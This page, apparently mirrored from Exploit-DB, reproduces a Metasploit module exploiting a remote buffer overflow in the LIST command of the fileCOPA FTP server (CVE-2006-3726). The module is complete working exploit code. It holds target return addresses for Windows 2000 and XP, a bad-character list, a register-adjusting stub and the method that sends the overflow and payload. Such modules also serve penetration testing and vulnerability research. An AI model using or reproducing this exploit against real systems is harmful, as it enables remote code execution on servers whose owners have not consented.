FileCOPA FTP Server (Pre 18 Jul Version) – ‘LIST’ Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-04-30

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16733/

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##

# $Id: filecopa_list_overflow.rb 9179 2010-04-30 08:40:19Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name' => 'FileCopa FTP Server pre 18 Jul Version',

'Description'=> %q{

This module exploits the buffer overflow found in the LIST command

in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch

},

'Author' => [ 'Jacopo Cervini' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2006-3726' ],

[ 'OSVDB', '27389' ],

[ 'BID', '19065' ],

],

'Privileged' => true,

'Payload'=>

{

'Space'=> 400,

'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",

'StackAdjustment' => -3500,

},

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2k Server SP4 English', { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp

[ 'Windows XP Pro SP2 Italian',{ 'Ret' => 0x77f62740, 'Nops' => 240 } ]# jmp esp

],

'DisclosureDate' => 'Jul 19 2006',

'DefaultTarget' => 0))

end

def exploit

connect_login

print_status("Trying target #{target.name}...")

sploit ="A "

sploit << make_nops(target['Nops'])

sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded

send_cmd( ['LIST', sploit] , false)

handler

disconnect

end